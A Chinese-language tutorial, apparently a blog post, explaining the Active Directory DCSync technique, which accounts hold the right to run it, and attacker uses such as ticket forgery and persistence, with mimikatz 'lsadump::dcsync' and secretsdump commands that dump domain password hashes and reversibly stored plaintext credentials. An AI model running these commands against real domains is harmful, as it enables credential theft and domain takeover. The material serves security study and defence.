12Dcsync原理以及攻击

## 概述

什么是Dcsync（domain Controller synchronization ）

域控同步:在内网中一般不是一个域控， 会有域树或者域森林等，域控之间是要同步数据的,不同的域控15分钟之间要发起一次数据同步请求，请求里面就包含同步的数据，这里采用的协议是DRS(目录复制服务)，这个就是 DCsync

![](https://oss.maolin101.com/202501061831298.png-101.webp)

> 哪些用户可以运行DCsync服务呢

- administrators组内用户
- domain admins组内用户
- enterprise admins组内用户
- 域控制器的计算机账户

域控的administrator和system也可以

> DCsync利用思路

1. 找到有权限的用户，从而远程读取域控用户的信息，可以进行PTH、黄金、白银票据攻击
2. 如果控制了域控，可以在域控添加一个管理员账户从而进行权限维持
3. 可以添加一个普通的用户，修改ACL从而实现可以使用DCsync，进行权限维持

## DCsync攻击

使用mimikatz模仿一个域控制器，从真实的域控制器中请求数据，例如用户的哈希值。

该功能最大的特点就是不用登录域控制器，即可远程通过域数据同步复制的方式获得域控制器上的数据

## 远程读取域控HASH值

远程读取是利用dcsync，前提是必须找到拥有运行dcsync的账号

所以读取hash 的步骤是两步 ：

- 找到拥有dcsync的用户 
- 远程读取即可

## 方法一 mimikatz

读取所有用户的hash值

```
lsadump::dcsync /domain:xbxaq.com /all /csv
```

![](https://oss.maolin101.com/202501061831299.png-101.webp)

读取单个用户

```
lsadump::dcsync /domain:xbxaq.com /user:ls
```

![](https://oss.maolin101.com/202501061831300.png-101.webp)

## 方式二 secretsdump工具

```
 secretsdump.exe 域名/用户名或者hash:密码@IP
```

```
secretsdump.exe xbxaq/administrator:a1b2c3123..@192.168.110.10
```

![](https://oss.maolin101.com/202501061831301.png-101.webp)

### 利用Dcsync远程读取明文账号

利用DCSync可以获取明文凭据，主要是因为账户勾选了"使用可逆加密存储密码"的属性

```
lsadump::dcsync /domain:xbxaq.com /user:ls
```

![](https://oss.maolin101.com/202501061831302.png-101.webp)